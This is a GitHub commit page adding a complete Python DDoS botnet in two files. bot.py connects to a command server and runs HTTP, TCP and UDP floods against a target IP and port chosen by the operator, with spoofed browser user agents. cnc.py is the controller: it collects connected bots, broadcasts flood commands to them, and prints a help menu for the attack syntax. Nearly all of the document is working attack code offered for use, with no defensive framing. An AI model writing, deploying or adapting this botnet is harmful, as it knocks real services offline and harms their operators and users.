Skip to content
This repository was archived by the owner on Jan 21, 2020. It is now read-only.

Commit ff386f8

Browse files
authored
Add files via upload
1 parent c938cbc commit ff386f8

File tree

2 files changed

+302
-0
lines changed

2 files changed

+302
-0
lines changed

bot.py

Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
#!/usr/bin/env python3
2+
#Code By Leeon123
3+
4+
#-- Python Bot version v1.0 --#
5+
6+
import argparse
7+
import socket
8+
import sys
9+
import os
10+
import time
11+
from multiprocessing import Process
12+
import random
13+
import threading
14+
15+
curProcess = None
16+
17+
useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
18+
"Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
19+
"Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
20+
"Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
21+
"Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
22+
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
23+
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
24+
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
25+
"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
26+
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
27+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
28+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
29+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
30+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
31+
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
32+
"Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
33+
"Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
34+
"Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
35+
"Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
36+
"Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",]
37+
38+
acceptall = [
39+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
40+
"Accept-Encoding: gzip, deflate\r\n",
41+
"Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
42+
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
43+
"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
44+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
45+
"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
46+
"Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
47+
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
48+
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
49+
"Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
50+
"Accept: text/html, application/xhtml+xml",
51+
"Accept-Language: en-US,en;q=0.5\r\n",
52+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
53+
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",]
54+
55+
tcpbytes = random._urandom(1024) #For the tcp and udp flood
56+
udpbytes = random._urandom(512)
57+
58+
def CC(ip, port, thread):
59+
for x in range(100000000):#For a long time flooding
60+
get_host = "GET / HTTP/1.1\r\nHost: " + ip + "\r\n"
61+
connection = "Connection: Keep-Alive\r\n"
62+
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
63+
accept = random.choice(acceptall)
64+
http = get_host + useragent + accept + connection + "\r\n"
65+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
66+
s.connect((str(ip), int(port)))
67+
for y in range(thread):
68+
s.send(str.encode(http))
69+
70+
def tcpflood(ip, port, thread):
71+
for x in range(100000000):
72+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
73+
s.connect((str(ip),int(port)))
74+
s.send(tcpbytes)
75+
for y in range(thread):
76+
s.send(tcpbytes)
77+
s.close()
78+
79+
def udpflood(ip, port, thread):
80+
for x in range(100000000):
81+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
82+
sendip=(str(ip),int(port))
83+
for y in range(thread):
84+
s.sendto(udpbytes, sendip)
85+
s.close()
86+
87+
def cmdHandle(sock, parser):#Now you know how does the bot handle the commands from cnc.py
88+
global curProcess
89+
while True:
90+
data = sock.recv(1024).decode()
91+
if len(data) == 0:
92+
main()
93+
if data[0] == '!':
94+
try:
95+
options = parser.parse_args(data[1:].split())
96+
97+
m_host = options.host
98+
m_port = options.port
99+
m_thread = options.threads
100+
m_cmd = options.cmd
101+
102+
if m_cmd.lower() == 'cc':
103+
if curProcess !=None and curProcess.is_alive():
104+
curProcess.terminate()
105+
curProcess = None
106+
p = Process(target=CC, args = (m_host, m_port, m_thread))
107+
p.start()
108+
#print("CC Flood Start")
109+
curProcess = p
110+
if m_cmd.lower() == 'tcp':
111+
if curProcess !=None and curProcess.is_alive():
112+
curProcess.terminate()
113+
curProcess = None
114+
p = Process(target=tcpflood, args = (m_host, m_port, m_thread))
115+
p.start()
116+
#print("TCP Flood Start")
117+
curProcess = p
118+
if m_cmd.lower() == 'udp':
119+
if curProcess !=None and curProcess.is_alive():
120+
curProcess.terminate()
121+
curProcess = None
122+
p = Process(target=udpflood, args = (m_host, m_port, m_thread))
123+
p.start()
124+
#print("UDP Flood Start")
125+
curProcess = p
126+
elif m_cmd.lower() == 'stop':
127+
if curProcess.is_alive():
128+
curProcess.terminate()
129+
except:
130+
pass
131+
132+
def main():
133+
p = argparse.ArgumentParser()#Now you know how does the bot handle the commands from cnc.py
134+
p.add_argument('-H', dest='host', type=str)
135+
p.add_argument('-p', dest='port',type=int)
136+
p.add_argument('-t', dest='threads',type=int)
137+
p.add_argument('-c', dest='cmd', type=str)
138+
139+
try:
140+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
141+
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
142+
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)#Keepalive connection
143+
s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10)
144+
s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10)
145+
s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3)
146+
s.connect(('127.0.0.1',1337))#Change your server ip and port
147+
148+
cmdHandle(s, p)
149+
150+
except Exception as e:
151+
connect()
152+
153+
def connect():#for a loop to connect the server until this script break.
154+
time.sleep(5)
155+
main()
156+
157+
if __name__ == '__main__':
158+
main()

cnc.py

Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
#!/usr/bin/env python3
2+
#Code by LeeOn123
3+
#C0d3d at 16/11/2018
4+
#====================================================================#
5+
# ____ _ _ ____ _ _ #
6+
#| _ \ _ _| |_| |__ ___ _ __ | __ ) ___ | |_ _ __ ___| |_ #
7+
#| |_) | | | | __| '_ \ / _ \| '_ \ | _ \ / _ \| __| '_ \ / _ \ __|#
8+
#| __/| |_| | |_| | | | (_) | | | | | |_) | (_) | |_| | | | __/ |_ #
9+
#|_| \__, |\__|_| |_|\___/|_| |_| |____/ \___/ \__|_| |_|\___|\__|#
10+
# |___/ #
11+
#====================================================================#
12+
13+
import socket
14+
import argparse
15+
import threading
16+
import os
17+
import time
18+
import sys
19+
from os import system, name
20+
21+
if len(sys.argv)<=1:
22+
print("Usage: python3 cnc.py <port>")
23+
sys.exit()
24+
25+
b = int(sys.argv[1])
26+
27+
socketList = []
28+
29+
def sendCmd(cmd):#Send Commands Module
30+
print('[*]Command sent!!!')
31+
for sock in socketList:
32+
try:
33+
sock.send(cmd.encode())
34+
except:
35+
#print('[*]Have a bot cannot exec command!')
36+
pass
37+
38+
39+
def waitConnect():
40+
while True:
41+
sock, addr = s.accept()
42+
if sock not in socketList:
43+
socketList.append(sock)
44+
45+
def clear():#clear screen
46+
if name == 'nt':
47+
_ = system('cls')
48+
else:
49+
_ = system('clear')
50+
51+
def cons():# Show connection
52+
if name == 'nt':# Windows
53+
a = "netstat -ant|findstr " + str(b)
54+
_ = system(a)
55+
else:# FreeESB or linux
56+
c = "netstat -ant|grep " + str(b)
57+
_ = system(c)
58+
59+
60+
def main():
61+
global s
62+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
63+
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
64+
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)#Keepalive tcp connection
65+
s.bind(('0.0.0.0',b))
66+
s.listen(1024)
67+
t = threading.Thread(target=waitConnect)
68+
t.start()
69+
70+
print("[*]Wait for a bot")
71+
while not len(socketList):
72+
pass
73+
print("[!] A bot Online ") #Loading scene :)
74+
time.sleep(0.5)
75+
clear()
76+
print("Setting up the server")
77+
time.sleep(0.5)
78+
clear()
79+
print("Setting up the server [-]")
80+
time.sleep(0.3)
81+
clear()
82+
print("Setting up the server [\]")
83+
time.sleep(0.3)
84+
clear()
85+
print("Setting up the server [-]")
86+
time.sleep(0.3)
87+
clear()
88+
print("Setting up the server [/]")
89+
time.sleep(0.3)
90+
clear()
91+
print("Setting up the server [-]")
92+
time.sleep(0.3)
93+
clear()
94+
print("Setting up the server [\]")
95+
time.sleep(0.3)
96+
clear()
97+
print("Setting up the server [-]")
98+
time.sleep(0.3)
99+
clear()
100+
print("Setting up the server [/]")
101+
time.sleep(0.3)
102+
clear()
103+
print("[!] Setting Up Connection Socket...")
104+
time.sleep(0.5)
105+
print("[!] Updating Server Config...")
106+
time.sleep(0.5)
107+
print("[!] Setting Up C&C Module...")
108+
time.sleep(0.5)
109+
print("[!] Done...")
110+
time.sleep(0.5)
111+
print("[!] Welcom to the Python3 C&C Server, glhf !!!")
112+
print("==============================================")
113+
time.sleep(1)
114+
115+
116+
while True:
117+
#print ("==> Python3 C&C server <==")
118+
cmd_str = input('ルート@ボットネット:')
119+
if len(cmd_str):
120+
if cmd_str[0] == '!':
121+
sendCmd(cmd_str)
122+
if len(cmd_str):
123+
if cmd_str == 'HELP':
124+
print('\r\n#-- Commands --#')
125+
print(' CC Flood:"!-H <ip> -p <port> -t <times> -c <cc | stop>"')
126+
print(' TCP Flood:"!-H <ip> -p <port> -t <times> -c <tcp | stop>"')
127+
print(' UDP Flood:"!-H <ip> -p <port> -t <times> -c <udp | stop>"\r\n')
128+
print(' CONS : show connection of cnc port')
129+
print(' CLEAR : Clear screen')
130+
print(' EXIT : exit the server')
131+
print('=============================================================')
132+
if len(cmd_str):
133+
if cmd_str == 'CONS':
134+
cons()
135+
if len(cmd_str):
136+
if cmd_str == 'CLEAR':
137+
clear()
138+
if len(cmd_str):
139+
if cmd_str == 'EXIT':
140+
print('Bye, ルート')
141+
sys.exit()
142+
143+
if __name__ == '__main__':
144+
main()

0 commit comments

Comments
 (0)